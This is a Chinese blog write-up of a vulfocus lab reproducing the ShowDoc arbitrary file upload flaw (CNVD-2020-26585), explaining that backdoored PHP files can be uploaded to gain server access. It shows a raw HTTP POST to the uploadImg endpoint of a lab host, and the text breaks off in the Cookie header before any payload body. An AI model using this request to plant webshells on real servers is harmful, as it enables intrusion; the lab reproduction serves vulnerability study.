vulfocus——showdoc文件上传(cnvd-2020-26585）

最新推荐文章于 2024-08-22 22:20:50 发布

原创

最新推荐文章于 2024-08-22 22:20:50 发布 · 1.6k 阅读

4 ·

CC 4.0 BY-SA版权

文章标签：

#servlet #jar #java

本文介绍了一个存在于ShowDoc工具中的任意文件上传漏洞。利用该漏洞，攻击者可以通过特定的HTTP请求上传恶意文件，如包含后门的PHP脚本，并进一步获取服务器权限。

描述

ShowDoc是一个非常适合IT团队的在线API文档、技术文档工具。通过showdoc，你可以方便地使用markdown语法来书写出美观的API文档、数据字典文档、技术文档、在线excel文档等等。
api_page存在任意文件上传.

复现

1.打开web页面直接抓包，然后改包

POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: 123.58.224.8:13374
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1661606197,1663322124; csrf_2698a4=b425a1c9; _ga=GA1.1.2104325447.1662173640; s7t_sid=rpp3fr; s7t_visitedfid=2; BOg8_2132_saltkey=QzYq2Yi9; BOg8_2132_